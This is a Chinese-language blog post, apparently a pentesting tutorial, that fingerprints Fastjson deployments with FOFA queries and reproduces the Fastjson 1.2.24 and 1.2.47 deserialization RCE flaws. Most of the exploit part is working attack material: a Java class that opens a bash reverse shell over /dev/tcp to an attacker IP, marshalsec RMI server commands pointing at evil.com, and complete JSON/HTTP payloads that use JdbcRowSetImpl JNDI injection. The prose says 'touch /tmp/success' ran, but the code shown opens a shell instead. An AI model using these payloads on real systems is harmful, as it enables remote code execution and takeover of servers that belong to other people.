Fastjson框架特征及漏洞复现
Fastjson 是阿里巴巴开发的一款 JSON 解析器。
Web特征
fastjson 作为纯 Java JSON 解析库,自身没有任何默认端口、默认路径或默认 Web 界面,但一些配置问题或者其他问题导致其报错,那么就可以判断其使用了fastjson,比如:
根据上面这个报错信息,那么可以生成fofa搜索语句:
body="com.alibaba.fastjson.JSONException" || body="fastjson.JSONException"利用fastjson专属异常类的报错,其他json库基本不存在。body="\"@type\":\"" && content_type="application/json"
漏洞复现
CVE-2017-18349(Fastjson 1.2.24 反序列化导致RCE)
在解析 JSON 的过程中,它支持使用 autoType 来实例化某一个具体的类,并调用该类的 set/get 方法来访问属性。通过查找代码中相关的方法,攻击者可以构造出恶意利用链。
影响范围:Fastjson<1.2.25
- RMI 利用方式: JDK ≤ 6u132、7u122、8u113
- LDAP 利用方式: JDK ≤ 6u211、7u201、8u191
- JDK 8u191+ 已限制远程类加载,可降低利用成功率
复现示例
PS:由于这里复现用的目标环境是 Java 8u102,没有
com.sun.jndi.rmi.object.trustURLCodebase的限制,可以使用com.sun.rowset.JdbcRowSetImpl的利用链,通过 JNDI 注入来执行命令。
1、编译并上传命令执行代码到恶意服务器,通过 http://evil.com:port/TouchFile.class 访问下载:
// fileName:TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String attackIP = "192.168.120.142"; // 攻击机ip
String listenPort = "8888"; // 攻击机监听端口
String[] commands = {
"/bin/bash",
"-c",
"bash -i >& /dev/tcp/" + attackIP + "/" + listenPort + " 0>&1"
};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
}
}
}
PS:由于目标是java8,所以这里需要使用javac8对恶意java文件进行编译,得到恶意class文件:
![]()
然后要开启一个端口(比如80),便于后续目标前来下载恶意class文件。
2、使用 marshalsec 项目启动一个 RMI 服务器,监听 9999 端口,并指定加载远程类 TouchFile.class:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com:port/#TouchFile" 9999
PS:
http://evil.com:8000/#TouchFile:告诉目标机,去这个恶意站点下载TouchFile.class;9999:RMI 服务的监听端口(后续 Payload 要用到这个端口)。
3、向目标服务器发送包含 RMI 地址的 Payload:
POST / HTTP/1.1
Host: target-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://RMI-ip:9999/TouchFile",
"autoCommit":true
}
}
如下图所示,命令 touch /tmp/success 已成功执行:
大概流程如下:
漏洞变种(Fastjson 1.2.47反序列化导致RCE)
这里复现的目标环境是 openjdk:8u102,这个版本没有 com.sun.jndi.rmi.object.trustURLCodebase 的限制,那就可以简单利用 RMI 进行命令执行。
首先编译并上传命令执行代码到恶意服务器,如 http://evil.com/TouchFile.class:
// fileName:TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String attackIP = "192.168.120.142"; // 攻击机ip
String listenPort = "8888"; // 攻击机监听端口
String[] commands = {
"/bin/bash",
"-c",
"bash -i >& /dev/tcp/" + attackIP + "/" + listenPort + " 0>&1"
};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
}
}
}
然后使用 marshalsec 项目启动一个 RMI 服务器,监听 9999 端口,并指定加载远程类 TouchFile.class:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999
(差异点)向目标服务器发送 Payload:
PS:注意构造数据包时需要修改Content-Type: application/json
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://evil.com:9999/Exploit",
"autoCommit":true
}
}


更多信息参见:服务攻防

浙公网安备 33010602011771号